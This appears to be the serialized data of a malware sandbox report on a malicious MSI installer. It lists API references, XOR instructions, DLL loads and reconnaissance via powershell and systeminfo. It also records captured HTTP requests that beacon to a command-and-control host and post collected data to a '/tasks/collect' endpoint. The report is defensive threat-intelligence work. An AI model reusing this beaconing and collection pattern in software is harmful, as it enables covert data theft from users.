26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 45:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TR/Crypt.Agent Sample c646bcca5046… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c646bcca5046…. Malware family: TR/Crypt.Agent. Threat score 100/100. 3/24 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793","keywords":["Malicious","TR/Crypt.Agent","malware analysis","sandbox report","threat intelligence","c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793"],"about":{"@type":"SoftwareApplication","name":"setup0324_or_1.msi","applicationCategory":["msi","data"],"identifier":"c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TR/Crypt.Agent","antivirusDetections":{"malicious":3,"total":24},"behavioralIndicators":{"malicious":5,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T851,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "setup0324_or_1.msi") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "setup0324_or_1.msi") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "setup0324_or_1.msi") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")28:T476,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "setup0324_or_1.msi") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp")29:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-49-00DBEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-92-00DBE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-92-00DBE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-126-00DBD490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-126-00DBD490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-129-00DB985C Assembly shows XOR instruction xor esi dword ptr [00DC0394h] in Stream UID: 00000000-00006420-24765-129-00DB985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-129-00DB985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-133-00DB995D Assembly shows XOR instruction xor esi dword ptr [00DC0390h] in Stream UID: 00000000-00006420-24765-133-00DB995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-133-00DB995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-135-00DBDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-135-00DBDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-137-00DBDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-137-00DBDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-141-00DBD610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-141-00DBD610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-149-00DBD560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-149-00DBD560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-151-00DBD501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-151-00DBD501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-158-00DBA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-161-00DBA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-162-00DBA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-182-00DB8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-182-00DB8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00006420-24765-194-00DBC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00006420-24765-194-00DBC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-195-00DB8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-195-00DB8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-198-00DB8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-198-00DB8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-199-00DB7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-199-00DB7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-202-00DB85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-202-00DB85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-203-00DB89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-203-00DB89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-204-00DB9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-204-00DB9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-211-00DBD341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-211-00DBD341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-214-00DBC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-214-00DBC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006420-24765-215-00DB92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006420-24765-215-00DB92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00006420-24765-217-00DB9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00006420-24765-217-00DB9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00006420-24765-217-00DB9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00006420-24765-217-00DB9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00006420-24765-217-00DB9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00006420-24765-217-00DB9F432a:T1d20,Contains base64 string in header "sysoieaosgwoeesa" in header "GET /api/client_hello HTTP/1.1Accept: */*Connection: closeHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "POST" in header "POST /api/client/new HTTP/1.1Accept: */*Connection: closeContent-Length: 28Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "closeContent" in header "POST /api/client/new HTTP/1.1Accept: */*Connection: closeContent-Length: 28Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "Type" in header "POST /api/client/new HTTP/1.1Accept: */*Connection: closeContent-Length: 28Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "application/jsonHost" in header "POST /api/client/new HTTP/1.1Accept: */*Connection: closeContent-Length: 28Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "sysoieaosgwoeesa" in header "POST /api/client/new HTTP/1.1Accept: */*Connection: closeContent-Length: 28Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "POST" in header "POST /tasks/get_worker HTTP/1.1Accept: */*Connection: closeContent-Length: 68Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "closeContent" in header "POST /tasks/get_worker HTTP/1.1Accept: */*Connection: closeContent-Length: 68Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "Type" in header "POST /tasks/get_worker HTTP/1.1Accept: */*Connection: closeContent-Length: 68Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "application/jsonHost" in header "POST /tasks/get_worker HTTP/1.1Accept: */*Connection: closeContent-Length: 68Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "sysoieaosgwoeesa" in header "POST /tasks/get_worker HTTP/1.1Accept: */*Connection: closeContent-Length: 68Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "POST" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 10192Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "closeContent" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 10192Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "10192Content" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 10192Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "Type" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 10192Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "application/jsonHost" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 10192Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "sysoieaosgwoeesa" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 10192Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "POST" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 34852Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "closeContent" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 34852Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "34852Content" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 34852Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "Type" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 34852Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "application/jsonHost" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 34852Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "sysoieaosgwoeesa" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 34852Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "POST" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 148Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "closeContent" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 148Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "Type" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 148Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "application/jsonHost" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 148Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "sysoieaosgwoeesa" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 148Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "POST" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 128Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "closeContent" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 128Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "Type" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 128Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "application/jsonHost" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 128Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1" Contains base64 string in header "sysoieaosgwoeesa" in header "POST /tasks/collect HTTP/1.1Accept: */*Connection: closeContent-Length: 128Content-Type: application/jsonHost: sysoieaosgwoeesa.xyz:443User-Agent: cpp-httplib/0.12.1"2b:T1642,"setup0324.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000001800000010ebe4f1338e5e726001cf00687df57408f1cf00d0bb5e7274944b83feffffff24f0cf0052735d72c8efcf0000002676c0f0cf006b735d72e0df737708000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000050f0cf00000000000800000000000000000000000000000000000000000000000000000008ebe4f10000000090f0cf0069923175ffffffff3400000050f0cf00080000000000000000002676c0f0cf002794317558f0cf000b00000000000000a8f0cf00 (UID: 00000000-00004680) "setup0324.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004680) "setup0324.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004680) "setup0324.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e02c3576fcefcf00226ed7750000fb04000000002d6ed77536ce0ff22d000000ecb72b7680f0cf00b1ce98005085ed02b8abec020300000080000000c0efcf000000d20244f0cf0070c8d87532501d87feffffff2d000000d0cc3a762700000014f0cf00856ad9751c23de7554f0cf00f85fd97508000000bb69d875b269d8759ed10ff22d000000ecb72b7627000000d0cc3a7628f0cf002d000000d0cc3a762700000058f0cf00856ad9751c23de75a0f0cf007e8a3976ee8c3976738a3976e94b75d52d000000ecb72b7627000000d0cc3a762c11fb04c010fb04e94b75d568f0cf00fc52777654f1cf00e0843976714acfa3feffffff738a3976 (UID: 00000000-00004680) "setup0324.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004680) "setup0324.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004680) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006420) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006420) "systeminfo.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007480)2c:T89a,Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "setup0324_or_1.msi") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "setup0324_or_1.msi") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "setup0324_or_1.msi") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "setup0324_or_1.msi") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "|GetLocaleInfo|LOCALE_ID" (Indicator: "GetLocaleInfo"; Source: "00000000-00007480.00000000.216734.02710000.00000004.mdmp")2d:T60b,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "setup0324_or_1.msi") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "setup0324_or_1.msi") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")2e:T127d,"setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-security-systemfunctions-l1-1-0 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004680) "setup0324.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004680) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006420) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006420) "systeminfo.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007480) "systeminfo.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007480) "systeminfo.exe" called "LoadLibrary" with a parameter 